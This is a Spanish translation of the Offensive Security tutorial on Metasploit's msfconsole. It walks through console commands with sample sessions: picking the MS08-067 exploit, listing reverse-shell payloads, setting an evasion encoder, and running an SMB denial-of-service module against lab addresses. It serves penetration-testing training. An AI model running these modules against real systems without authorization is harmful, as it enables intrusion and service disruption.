Msfconsole
De www.metasploit-es.com.ar
Msfconsole
La msfconsole es probablemente la interfaz mas popular de MSF. Ofrece una consola centralizada "todo-en-uno" y permite un acceso eficiente a todo las opciones disponibles en Metasploit Framework. Msfconsole puede parecer intimidante al principio, pero una vez que aprendes la sintaxis de los comandos aprenderás apreciar el poder de utilizar esta interfaz.
La interfaz msfconsole funciona bajo Windows con la version 3.3, sin embargo los usuarios de la version 3.2 tendrán que instalar manualmente el Framework bajo Cygwin, junto con la instalación de Ruby, o acceder al emulador de la consola a traves de la Web o por los componentes GUI.
Beneficios de msfconsole
* Es la única manera soportada para acceder a la mayoría de las funciones dentro de Metasploit. * Proporciona una interfaz basada en consola al Framework. * Contiene la mayoría de las características y es la interfaz mas estable de MSF. * Soporte completo de edición de lineas (readline), tabulacion, y completacion de comandos. * Es posible la ejecución de comandos externos a través de msfconsole.
msf > ping -c 1 192.168.1.2 [*] exec: ping -c 1 192.168.1.2 PING 192.168.1.2 (192.168.1.2) 56(84) bytes of data. 64 bytes from 192.168.1.2: icmp_seq=1 ttl=128 time=10.3 ms --- 192.168.1.2 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 10.308/10.308/10.308/0.000 ms msf >
Obteniendo ayuda.
Escribiendo "help" o "?" en el command pront de msf, mostrara una lista de los comandos disponibles junto una descripción de su uso.
msf > help Core Commands ============= Command Description ------- ----------- ? Help menu back Move back from the current context banner Display an awesome metasploit banner cd Change the current working directory connect Communicate with a host exit Exit the console help Help menu info Displays information about one or more module irb Drop into irb scripting mode jobs Displays and manages jobs load Load a framework plugin loadpath Searches for and loads modules from a path quit Exit the console resource Run the commands stored in a file ...snip...
Completacion con tab.
Una de las características mas útiles de msfconsole es completacion con tab. Con la gran variedad de módulos disponibles, puede ser difícil recordar el nombre exacto y ruta de algún modulo en particular que se quiera usar. Como en la mayoría de los shells, escribiendo lo que sabes y presionando "Tab" le mostrara una lista de las opciones disponibles o se auto completara la palabra si hay una sola opción.
msf > use exploit/windows/smb/ms use exploit/windows/smb/ms03_049_netapi use exploit/windows/smb/ms04_007_killbill use exploit/windows/smb/ms04_011_lsass use exploit/windows/smb/ms04_031_netdde use exploit/windows/smb/ms05_039_pnp use exploit/windows/smb/ms06_025_rasmans_reg use exploit/windows/smb/ms06_025_rras use exploit/windows/smb/ms06_040_netapi use exploit/windows/smb/ms06_066_nwapi use exploit/windows/smb/ms06_066_nwwks use exploit/windows/smb/ms08_067_netapi use exploit/windows/smb/msdns_zonename msf > use exploit/windows/smb/ms08_067_netapi
Comando "show".
Introduciendo "show" en el promt de msfconsole le mostrara cada modulo disponible en Metasploit.
msf > show Encoders ======== Name Description ---- ----------- cmd/generic_sh Generic Shell Variable Substitution Command Encoder generic/none The "none" Encoder mipsbe/longxor XOR Encoder ...snip...
Hay una variedad de comandos "show" que puede utilizar, pero los que va a utilizar con mas frecuencia son "show auxiliary", "show exploits" y "show payloads".
Ejecutando "show auxiliary" mostrara una lista de todos los modulos auxiliares disponibles en Metasploit. El modulos Auxiliary incluye scanners, modulos de denial of service, fuzzers y mas.
msf > show auxiliary Auxiliary ========= Name Description ---- ----------- admin/backupexec/dump Veritas Backup Exec Windows Remote File Access admin/backupexec/registry Veritas Backup Exec Server Registry Access admin/cisco/ios_http_auth_bypass Cisco IOS HTTP Unauthorized Administrative Access ...snip...
Naturalmente, "show exploits" sera el comando mas interesante de ser ejecutado ya que es el nucleo, Metasploit es todo sobre explotacion. Use "show exploits" para obtener una lista de todos los exploits contenidos en el framework.
msf > show exploits Exploits ======== Name Description ---- ----------- aix/rpc_ttdbserverd_realpath ToolTalk rpc.ttdbserverd _tt_internal_realpath Buffer Overflow bsdi/softcart/mercantec_softcart Mercantec SoftCart CGI Overflow ...snip...
Ejecutando "show payloads" mostrara todos los diferentes payloads para todas las plataformas disponibles en Metasploit.
msf > show payloads Payloads ======== Name Description ---- ----------- aix/ppc/shell_bind_tcp AIX Command Shell, Bind TCP Inline aix/ppc/shell_find_port AIX Command Shell, Find Port Inline aix/ppc/shell_reverse_tcp AIX Command Shell, Reverse TCP Inline ...snip...
Asi como ve, hay muchos payloads disponibles. Afortunadamente cuando esta usando determinado exploit, usando "show payloads" solo mostrara los payloads que son compatibles para ese particular exploit. Por ejemplo, si es un exploit para Windows, no se mostraran los payloads para Linux.
msf exploit(ms08_067_netapi) > show payloads Compatible payloads =================== Name Description ---- ----------- generic/debug_trap Generic x86 Debug Trap generic/debug_trap/bind_ipv6_tcp Generic x86 Debug Trap, Bind TCP Stager (IPv6) generic/debug_trap/bind_nonx_tcp Generic x86 Debug Trap, Bind TCP Stager (No NX or Win7) ...snip...
Si ha seleccionado un modulo especifico, puede utilizar el comando "show options" para mostrar las opciones disponibles y/o requeridas para ese modulo en especifico.
msf exploit(ms08_067_netapi) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Exploit target: Id Name -- ---- 0 Automatic Targeting
Si no esta seguro si un sistema operativo es vulnerable a un particular exploit, ejecute el comando "show targets" dentro del contexto de un modulo de exploit para ver que objetivos están soportados.
msf exploit(ms08_067_netapi) > show targets Exploit targets:
Id Name -- ---- 0 Automatic Targeting 1 Windows 2000 Universal 2 Windows XP SP0/SP1 Universal 3 Windows XP SP2 English (NX) 4 Windows XP SP3 English (NX) 5 Windows 2003 SP0 Universal ...snip...
Si desea seguir mejorando un exploit, puede ver las opciones avanzadas ejecutando "show advanced".
msf exploit(ms08_067_netapi) > show advanced Module advanced options: Name : CHOST Current Setting: Description : The local client address Name : CPORT Current Setting: Description : The local client port ...snip...
Comando "search".
El msfconsole incluye una funcionalidad de búsqueda basada en expresiones regulares. Si tiene alguna idea general de lo que esta buscando, puede buscarlo con "search". En la salida de abajo, una búsqueda se hizo para MS Bulletin MS09-011. Esta funcionalidad de búsqueda localizara esta cadena de texto dentro del modulo de referencia.
Tenga en cuenta la nomenclatura que se usa en los módulos de Metasploit, subrayas (underscore) en vez de guiones.
msf > search ms09-001 [*] Searching loaded modules for pattern 'ms09-001'... Auxiliary ========= Name Description ---- ----------- dos/windows/smb/ms09_001_write Microsoft SRV.SYS WriteAndX Invalid DataOffset
Comando "info".
EL comando "info" proporciona informacion detallada sobre un determinado modulo incluyendo todas las opciones, objetivos, y otras informaciones.
msf > info dos/windows/smb/ms09_001_write
Name: Microsoft SRV.SYS WriteAndX Invalid DataOffset
Version: 6890
License: Metasploit Framework License (BSD)
Provided by:
j.v.vallejo
Comando "use".
Cuando se ha decidido por un modulo en particular, utilice el comando "use" para seleccionarlo.
msf > use dos/windows/smb/ms09_001_write msf auxiliary(ms09_001_write) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port msf auxiliary(ms09_001_write) >
Comando "connect".
Utilizando el comando "connect" con una dirección IP y un numero de puerto, se puede conectar a un host remoto desde msfconsole igual como si usara netcat o telnet.
msf > connect 192.168.1.1 23 [*] Connected to 192.168.1.1:23 ÿýÿýÿý!ÿûÿû DD-WRT v24 std (c) 2008 NewMedia-NET GmbH Release: 07/27/08 (SVN revision: 10011) ÿ DD-WRT login:
Comando "set".
El comando "set" es usado para configurar las opciones del modulo que actualmente se esta utilizando.
msf auxiliary(ms09_001_write) > set RHOST 192.168.1.1 RHOST => 192.168.1.1 msf auxiliary(ms09_001_write) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.1.1 yes The target address RPORT 445 yes Set the SMB service port
Una reciente funcionalidad añadida a Metasploit es la habilidad de establecer un encoder o codificador para ser usado. Esto particularmente es util en el desarrollo de un exploit cuando no esta muy seguro que metodo de codificacion de payload funcionara con un exploit.
msf exploit(ms08_067_netapi) > show encoders Compatible encoders =================== Name Description ---- ----------- cmd/generic_sh Generic Shell Variable Substitution Command Encoder generic/none The "none" Encoder mipsbe/longxor XOR Encoder mipsle/longxor XOR Encoder php/base64 PHP Base64 encoder ppc/longxor PPC LongXOR Encoder ppc/longxor_tag PPC LongXOR Encoder sparc/longxor_tag SPARC DWORD XOR Encoder x64/xor XOR Encoder x86/alpha_mixed Alpha2 Alphanumeric Mixedcase Encoder x86/alpha_upper Alpha2 Alphanumeric Uppercase Encoder x86/avoid_utf8_tolower Avoid UTF8/tolower x86/call4_dword_xor Call+4 Dword XOR Encoder x86/countdown Single-byte XOR Countdown Encoder x86/fnstenv_mov Variable-length Fnstenv/mov Dword XOR Encoder x86/jmp_call_additive Polymorphic Jump/Call XOR Additive Feedback Encoder x86/nonalpha Non-Alpha Encoder x86/nonupper Non-Upper Encoder x86/shikata_ga_nai Polymorphic XOR Additive Feedback Encoder x86/unicode_mixed Alpha2 Alphanumeric Unicode Mixedcase Encoder x86/unicode_upper Alpha2 Alphanumeric Unicode Uppercase Encoder msf exploit(ms08_067_netapi) > set encoder x86/shikata_ga_nai encoder => x86/shikata_ga_nai
Comando "check".
No hay muchos exploits que lo soporten, pero hay una opcion de "check" la cual comprueba si el objetivo es vulnerable a un exploit en particular en lugar de explotarla.
msf exploit(ms04_045_wins) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.1.114 yes The target address RPORT 42 yes The target port Exploit target: Id Name -- ---- 0 Windows 2000 English msf exploit(ms04_045_wins) > check [-] Check failed: The connection was refused by the remote host (192.168.1.114:42)
Configuración de variables globales.
Con el fin de no escribir mucho durante un pentest, puede establecer variables globales dentro de msfconsole. Puede hacer esto con el comando "setg". Una vez que se a establecido, lo puede usar en muchos exploits y módulos auxiliares como le guste. Tambien lo puede guardar para usarlo la proxima vez cuando ejecute msfconsole. Sin embargo, ciertos datos no son guardados, así que siempre revise sus opciones antes de usar "run" o "exploit". Por el contrario puede usar el comando "unsetg" para eliminar una variable global. En los ejemplos siguientes, las variables se registran todas en mayúsculas (Ejem: LHOST), pero Metasploit no es sensible a las mayúsculas así que no es necesario hacerlo.
msf > setg LHOST 192.168.1.101 LHOST => 192.168.1.101 msf > setg RHOSTS 192.168.1.0/24 RHOSTS => 192.168.1.0/24 msf > setg RHOST 192.168.1.136 RHOST => 192.168.1.136 msf > save Saved configuration to: /root/.msf3/config msf >
Comando "exploit/run".
Cuando lanza un exploit, puede usar el comando "exploit" mientras que si usa un modulo auxiliar, el uso correcto es "run" aunque "exploit" funciona tan bien.
msf auxiliary(ms09_001_write) > run Attempting to crash the remote host... datalenlow=65535 dataoffset=65535 fillersize=72 rescue datalenlow=55535 dataoffset=65535 fillersize=72 rescue datalenlow=45535 dataoffset=65535 fillersize=72 rescue datalenlow=35535 dataoffset=65535 fillersize=72 rescue datalenlow=25535 dataoffset=65535 fillersize=72 rescue ...snip...
Comando "back".
Cuando haya terminado de usar un modulo, o si selecciona el modulo equivocado, puede usar el comando "back" para salir de ese contexto. Esto, sin embargo no es requerido. Así como con los routers comerciales, que puede cambiar módulos dentro de otros. Como recordatorio, las variables son cambiadas si son establecidas globalmente.
msf auxiliary(ms09_001_write) > back msf >
Comando "resource".
Algunos ataques como Karmetasploit usan archivos adicionales que se pueden cargar a través de msfconsole usando el comando "resource". Estos archivos son unos scripts básicos para msfconsole. Ejecutan los comandos del archivo en secuencia. Mas adelante lo discutiremos, fuera de Karmetasploit, esto puede ser muy útil.
msf > resource karma.rc resource> load db_sqlite3 [-] [-] The functionality previously provided by this plugin has been [-] integrated into the core command set. Use the new 'db_driver' [-] command to use a database driver other than sqlite3 (which [-] is now the default). All of the old commands are the same. [-] [-] Failed to load plugin from /pentest/exploits/framework3/plugins/db_sqlite3: Deprecated plugin resource> db_create /root/karma.db [*] The specified database already exists, connecting [*] Successfully connected to the database [*] File: /root/karma.db resource> use auxiliary/server/browser_autopwn resource> setg AUTOPWN_HOST 10.0.0.1 AUTOPWN_HOST => 10.0.0.1 ...snip...
Comando "irb".
Si ejecutamos el comando "irb", cambiara al modo de edición de scripts en ruby, donde podrá usar comandos y crear scripts en el momento.
msf > irb [*] Starting IRB shell... >> puts "Hello, metasploit!" Hello, metasploit!
© Offensive Security 2009
Original by www.offensive-security.com Traslated by Jhyx
